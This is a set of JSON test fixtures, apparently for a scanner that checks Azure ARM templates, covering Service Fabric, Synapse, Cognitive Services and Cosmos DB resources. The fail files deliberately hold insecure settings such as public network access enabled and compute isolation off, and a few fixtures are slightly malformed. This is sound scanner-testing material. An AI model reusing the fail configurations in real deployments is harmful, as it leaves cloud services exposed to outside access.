"upgradeReplicaSetCheckTimeout": "string", "upgradeTimeout": "string" }, "upgradeMode": "string", "vmImage": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2019-03-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "properties": { "addOnFeatures": [ "string" ], "azureActiveDirectory": { "clientApplication": "string", "clusterApplication": "string", "tenantId": "string" }, "certificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "certificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "clientCertificateCommonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string", "isAdmin": "bool" } ], "clientCertificateThumbprints": [ { "certificateThumbprint": "string", "isAdmin": "bool" } ], "clusterCodeVersion": "string", "diagnosticsStorageAccountConfig": { "blobEndpoint": "string", "protectedAccountKeyName": "string", "queueEndpoint": "string", "storageAccountName": "string", "tableEndpoint": "string" }, "eventStoreServiceEnabled": "bool", "fabricSettings": [ { "name": "Security", "parameters": [ { "name": "ClusterProtectionLevel", "value": "EncryptAndSign" } ] } ], "managementEndpoint": "string", "nodeTypes": [ { "applicationPorts": { "endPort": "int", "startPort": "int" }, "capacities": { "{customized property}": "string" }, "clientConnectionEndpointPort": "int", "durabilityLevel": "string", "ephemeralPorts": { "endPort": "int", "startPort": "int" }, "httpGatewayEndpointPort": "int", "isPrimary": "bool", "name": "string", "placementProperties": { "{customized property}": "string" }, "reverseProxyEndpointPort": "int", "vmInstanceCount": "int" } ], "reliabilityLevel": "string", "reverseProxyCertificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "reverseProxyCertificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "upgradeDescription": { "deltaHealthPolicy": { "applicationDeltaHealthPolicies": { "{customized property}": { "defaultServiceTypeDeltaHealthPolicy": { "maxPercentDeltaUnhealthyServices": "int" }, "serviceTypeDeltaHealthPolicies": { "{customized property}": { "maxPercentDeltaUnhealthyServices": "int" } } } }, "maxPercentDeltaUnhealthyApplications": "int", "maxPercentDeltaUnhealthyNodes": "int", "maxPercentUpgradeDomainDeltaUnhealthyNodes": "int" }, "forceRestart": "bool", "healthCheckRetryTimeout": "string", "healthCheckStableDuration": "string", "healthCheckWaitDuration": "string", "healthPolicy": { "applicationHealthPolicies": { "{customized property}": { "defaultServiceTypeHealthPolicy": { "maxPercentUnhealthyServices": "int" }, "serviceTypeHealthPolicies": { "{customized property}": { "maxPercentUnhealthyServices": "int" } } } }, "maxPercentUnhealthyApplications": "int", "maxPercentUnhealthyNodes": "int" }, "upgradeDomainTimeout": "string", "upgradeReplicaSetCheckTimeout": "string", "upgradeTimeout": "string" }, "upgradeMode": "string", "vmImage": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/bigDataPools", "apiVersion": "2021-02-01", "name": "fail1", "location": "East US", "properties": { "isComputeIsolationEnabled": false, "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/bigDataPools", "apiVersion": "2021-02-01", "name": "fail2", "location": "East US", "properties": { "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/bigDataPools", "apiVersion": "2021-02-01", "name": "pass", "location": "East US", "properties": { "isComputeIsolationEnabled": true, "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/vulnerabilityAssessments", "apiVersion": "2021-02-01", "name": "fail1", "location": "East US", "properties": { "recurringScans": { "emails": [ "string" ], "emailSubscriptionAdmins": true, "isEnabled": false }, "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/vulnerabilityAssessments", "apiVersion": "2021-02-01", "name": "fail2", "location": "East US", "properties": { "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces/vulnerabilityAssessments", "apiVersion": "2021-02-01", "name": "pass", "location": "East US", "properties": { "recurringScans": { "emails": [ "string" ], "emailSubscriptionAdmins": true, "isEnabled": true }, "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "fail", "location": "East US", "properties": { "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', 'test'))]", "[resourceId('Microsoft.Synapse/workspaces/firewallRules', 'test'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "pass", "location": "East US", "properties": { "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', 'test'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Synapse/workspaces", "apiVersion": "2021-02-01", "name": "pass2", "location": "East US", "properties": { "storageAccountAccessKey": "string", "storageContainerPath": "string", "storageContainerSasKey": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesConfigureIdentity/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2023-05-01", "name": "fail", "location": "westeurope", "tags": { "createby": "Terraform" }, "sku": { "name": "S0" }, "kind": "Face", "properties": { "publicNetworkAccess": "Enabled", "restrictOutboundNetworkAccess": false, "allowedFqdnList": [], "disableLocalAuth": false, "dynamicThrottlingEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesConfigureIdentity/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2023-05-01", "name": "pass", "location": "westeurope", "tags": { "createby": "Terraform" }, "sku": { "name": "S0" }, "kind": "Face", "identity": { "type": "SystemAssigned" }, "properties": { "publicNetworkAccess": "Disabled", "restrictOutboundNetworkAccess": false, "allowedFqdnList": [], "disableLocalAuth": false, "dynamicThrottlingEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2023-05-01", "name": "fail", "location": "westeurope", "tags": { "createby": "Terraform" }, "sku": { "name": "S0" }, "kind": "Face", "identity": { "type": "SystemAssigned" }, "properties": { "publicNetworkAccess": "Enabled", "restrictOutboundNetworkAccess": false, "allowedFqdnList": [], "disableLocalAuth": false, "dynamicThrottlingEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2023-05-01", "name": "fail2", "location": "westeurope", "tags": { "createby": "Terraform" }, "sku": { "name": "S0" }, "kind": "Face", "identity": { "type": "SystemAssigned" }, "properties": { "restrictOutboundNetworkAccess": false, "allowedFqdnList": [], "disableLocalAuth": false, "dynamicThrottlingEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2023-05-01", "name": "pass", "location": "westeurope", "tags": { "createby": "Terraform" }, "sku": { "name": "S0" }, "kind": "Face", "identity": { "type": "SystemAssigned" }, "properties": { "publicNetworkAccess": "Disabled", "restrictOutboundNetworkAccess": false, "allowedFqdnList": [], "disableLocalAuth": false, "dynamicThrottlingEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "name": "fail", "location": "West US", "sku": { "name": "S0" }, "kind": "CognitiveServices", "properties": { "publicNetworkAccess": "Enabled", "disableLocalAuth": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "name": "fail2", "location": "West US", "sku": { "name": "S0" }, "kind": "CognitiveServices", "properties": { "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "accounts_pike_name": { "defaultValue": "pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.CognitiveServices/accounts", "name": "pass", "location": "West US", "sku": { "name": "S0" }, "kind": "CognitiveServices", "properties": { "publicNetworkAccess": "Enabled", "disableLocalAuth": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2024-05-15", "name": "fail", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "enableMultipleWriteLocations": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "databaseAccountOfferType": "Standard", "enableAutomaticFailover": true, "ipRangeFilter": [], "isVirtualNetworkFilterEnabled": true, "locations": [ { "locationName": "[variables('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "networkAclBypass": "AzureServices", "virtualNetworkRules": [] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2024-05-15", "name": "fail2", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "enableMultipleWriteLocations": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "databaseAccountOfferType": "Standard", "enableAutomaticFailover": true, "ipRangeFilter": [], "isVirtualNetworkFilterEnabled": false, "locations": [ { "locationName": "[variables('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "networkAclBypass": "AzureServices", "virtualNetworkRules": [] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2024-05-15", "name": "fail3", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "databaseAccountOfferType": "Standard", "enableAutomaticFailover": true, "ipRangeFilter": [], "isVirtualNetworkFilterEnabled": false, "locations": [ { "locationName": "[variables('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "networkAclBypass": "AzureServices", "virtualNetworkRules": [ { "id": "Microsoft.virtualNetworks" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/azureFirewalls", "apiVersion": "2020-05-01", "name": "fail4", "location": "[resourceGroup().location]", "properties": { "sku": { "name": "AZFW_VNet", "tier": "Standard" }, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/firewallPolicies', 'example-policy')]" } } }, { "type": "Microsoft.Network/azureFirewalls/ruleCollections", "apiVersion": "2020-05-01", "name": "example/testcollection", "properties": { "priority": 100, "action": { "type": "Allow" }, "rules": [ { "name": "testrule", "ruleType": "NetworkRule", "sourceAddresses": [ "10.0.0.0/16" ], "destinationAddresses": [ "8.8.8.8", "8.8.4.4" ], "destinationPorts": [ "53" ], "protocols": [ "TCP", "UDP" ] } ] } }, { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2020-04-01", "name": "fail4", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "locations": [ { "locationName": "[parameters('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "enableAutomaticFailover": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ] } } ], "parameters": { "randomInteger": { "type": "int" }, "failoverLocation": { "type": "string" } } } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2020-04-01", "name": "pass", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "enableMultipleWriteLocations": false, "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "locations": [ { "locationName": "[parameters('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "enableAutomaticFailover": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "publicNetworkAccess": "Disabled" } } ], "parameters": { "randomInteger": { "type": "int" }, "failoverLocation": { "type": "string" } } } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/azureFirewalls", "apiVersion": "2020-05-01", "name": "pass2", "location": "[resourceGroup().location]", "properties": { "priority": 100, "action": { "type": "Allow" }, "rules": [ { "name": "testrule", "ruleType": "NetworkRule", "sourceAddresses": [ "10.0.0.0/16" ], "destinationAddresses": [ "8.8.8.8", "8.8.4.4" ], "destinationPorts": [ "53" ], "protocols": [ "TCP", "UDP" ] } ] } }, { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2020-04-01", "name": "pass2", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "isVirtualNetworkFilterEnabled": true, "locations": [ { "locationName": "[parameters('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "enableAutomaticFailover": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "virtualNetworkRules": [ { "id": "Microsoft.virtualNetworks", "ignoreMissingVNetServiceEndpoint": true } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2024-05-15", "name": "pass3", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "databaseAccountOfferType": "Standard", "enableAutomaticFailover": true, "ipRangeFilter": [], "isVirtualNetworkFilterEnabled": true, "ipRules": [ "192.0.0.1" ], "locations": [ { "locationName": "[variables('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "networkAclBypass": "AzureServices", "virtualNetworkRules": [ { "id": "Microsoft.virtualNetworks" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/azureFirewalls", "apiVersion": "2020-05-01", "name": "pass4", "location": "[resourceGroup().location]", "properties": { "sku": { "name": "AZFW_VNet", "tier": "Standard" }, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/firewallPolicies', 'example-policy')]" } } }, { "type": "Microsoft.Network/azureFirewalls/ruleCollections", "apiVersion": "2020-05-01", "name": "pass4", "properties": { "priority": 100, "action": { "type": "Allow" }, "rules": [ { "name": "testrule", "ruleType": "NetworkRule", "sourceAddresses": [ "10.0.0.0/16" ], "destinationAddresses": [ "8.8.8.8", "8.8.4.4" ], "destinationPorts": [ "53" ], "protocols": [ "TCP", "UDP" ] } ] } }, { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2020-04-01", "name": "pass4", "location": "[resourceGroup().location]", "kind": "GlobalDocumentDB", "properties": { "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 10, "maxStalenessPrefix": 200 }, "locations": [ { "locationName": "[parameters('failoverLocation')]", "failoverPriority": 1 }, { "locationName": "[resourceGroup().location]", "failoverPriority": 0 } ], "enableAutomaticFailover": true, "capabilities": [ { "name": "EnableAggregationPipeline" }, { "name": "mongoEnableDocLevelTTL" }, { "name": "MongoDBv3.4" } ], "virtualNetworkRules": [ { "id": "[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/example/subnets/default')]" } ], "ipRules": [ { "ipAddressOrRange": "192.0.0.1" } ], "isVirtualNetworkFilterEnabled": true } } ], "parameters": { "randomInteger": { "type": "int" }, "failoverLocation": { "type": "string" } } } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisableAccessKeyWrite/CosmosDBDisableAccessKeyWrite-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", "contentVersion": "1.0.0.0", "variables":{ "roleDefName": "[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]" }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2018-07-01", "name": "[variables('roleDefName')]", "properties": { "description": "[parameters('roleDescription')]", "type": "customRole", "isCustom": true, "permissions": [ { "actions": "[parameters('actions')]", "notActions": "[parameters('notActions')]" } ], "assignableScopes": [ "[subscription().id]" ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisableAccessKeyWrite/CosmosDBDisableAccessKeyWrite-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", "contentVersion": "1.0.0.0", "variables":{ "roleDefName": "[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]" }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2018-07-01", "name": "[variables('roleDefName')]", "properties": { "disableKeyBasedMetadataWriteAccess": true, "description": "[parameters('roleDescription')]", "type": "customRole", "isCustom": true, "permissions": [ { "actions": "[parameters('actions')]", "notActions": "[parameters('notActions')]" } ], "assignableScopes": [ "[subscription().id]" ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", "contentVersion": "1.0.0.0", "variables":{ "roleDefName": "[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]" }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2018-07-01", "name": "fail", "properties": { "description": "[parameters('roleDescription')]", "type": "customRole", "isCustom": true, "permissions": [ { "actions": "[parameters('actions')]", "notActions": "[parameters('notActions')]" } ], "assignableScopes": [ "[subscription().id]" ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "databaseAccounts_secondaccountjgw_name": { "defaultValue": "secondaccountjgw", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2023-04-15", "name": "fail2", "location": "UK South", "kind": "GlobalDocumentDB", "identity": { "type": "None" }, "properties": { "publicNetworkAccess": "Enabled", "enableAutomaticFailover": true, "enableMultipleWriteLocations": false, "isVirtualNetworkFilterEnabled": false, "virtualNetworkRules": [], "disableKeyBasedMetadataWriteAccess": true, "enableFreeTier": false, "enableAnalyticalStorage": false, "analyticalStorageConfiguration": { "schemaType": "WellDefined" }, "databaseAccountOfferType": "Standard", "keyVaultKeyUri": "https://examplekeyvaultjgw.vault.azure.net/keys/temp", "defaultIdentity": "FirstPartyIdentity", "networkAclBypass": "None", "disableLocalAuth": true, "enablePartitionMerge": false, "minimalTlsVersion": "Tls", "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 300, "maxStalenessPrefix": 100000 }, "locations": [ { "locationName": "UK South", "provisioningState": "Failed", "failoverPriority": 0, "isZoneRedundant": false } ], "cors": [], "capabilities": [], "ipRules": [], "backupPolicy": { "type": "Periodic", "periodicModeProperties": { "backupIntervalInMinutes": 240, "backupRetentionIntervalInHours": 8, "backupStorageRedundancy": "Invalid" } }, "networkAclBypassResourceIds": [], "keysMetadata": {} } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "databaseAccounts_secondaccountjgw_name": { "defaultValue": "secondaccountjgw", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2023-04-15", "name": "fail3", "location": "UK South", "kind": "GlobalDocumentDB", "identity": { "type": "None" }, "properties": { "publicNetworkAccess": "SecuredByPerimeter", "enableAutomaticFailover": true, "enableMultipleWriteLocations": false, "isVirtualNetworkFilterEnabled": false, "virtualNetworkRules": [], "disableKeyBasedMetadataWriteAccess": true, "enableFreeTier": false, "enableAnalyticalStorage": false, "analyticalStorageConfiguration": { "schemaType": "WellDefined" }, "databaseAccountOfferType": "Standard", "keyVaultKeyUri": "https://examplekeyvaultjgw.vault.azure.net/keys/temp", "defaultIdentity": "FirstPartyIdentity", "networkAclBypass": "None", "disableLocalAuth": true, "enablePartitionMerge": false, "minimalTlsVersion": "Tls", "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 300, "maxStalenessPrefix": 100000 }, "locations": [ { "locationName": "UK South", "provisioningState": "Failed", "failoverPriority": 0, "isZoneRedundant": false } ], "cors": [], "capabilities": [], "ipRules": [], "backupPolicy": { "type": "Periodic", "periodicModeProperties": { "backupIntervalInMinutes": 240, "backupRetentionIntervalInHours": 8, "backupStorageRedundancy": "Invalid" } }, "networkAclBypassResourceIds": [], "keysMetadata": {} } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "databaseAccounts_secondaccountjgw_name": { "defaultValue": "secondaccountjgw", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2023-04-15", "name": "pass", "location": "UK South", "kind": "GlobalDocumentDB", "identity": { "type": "None" }, "properties": { "publicNetworkAccess": "Disabled", "enableAutomaticFailover": true, "enableMultipleWriteLocations": false, "isVirtualNetworkFilterEnabled": false, "virtualNetworkRules": [], "disableKeyBasedMetadataWriteAccess": true, "enableFreeTier": false, "enableAnalyticalStorage": false, "analyticalStorageConfiguration": { "schemaType": "WellDefined" }, "databaseAccountOfferType": "Standard", "keyVaultKeyUri": "https://examplekeyvaultjgw.vault.azure.net/keys/temp", "defaultIdentity": "FirstPartyIdentity", "networkAclBypass": "None", "disableLocalAuth": true, "enablePartitionMerge": false, "minimalTlsVersion": "Tls", "consistencyPolicy": { "defaultConsistencyLevel": "BoundedStaleness", "maxIntervalInSeconds": 300, "maxStalenessPrefix": 100000 }, "locations": [ { "locationName": "UK South", "provisioningState": "Failed", "failoverPriority": 0, "isZoneRedundant": false } ], "cors": [], "capabilities": [], "ipRules": [], "backupPolicy": { "type": "Periodic", "periodicModeProperties": { "backupIntervalInMinutes": 240, "backupRetentionIntervalInHours": 8, "backupStorageRedundancy": "Invalid" } }, "networkAclBypassResourceIds": [], "keysMetadata": {} } } ] } ================================================ 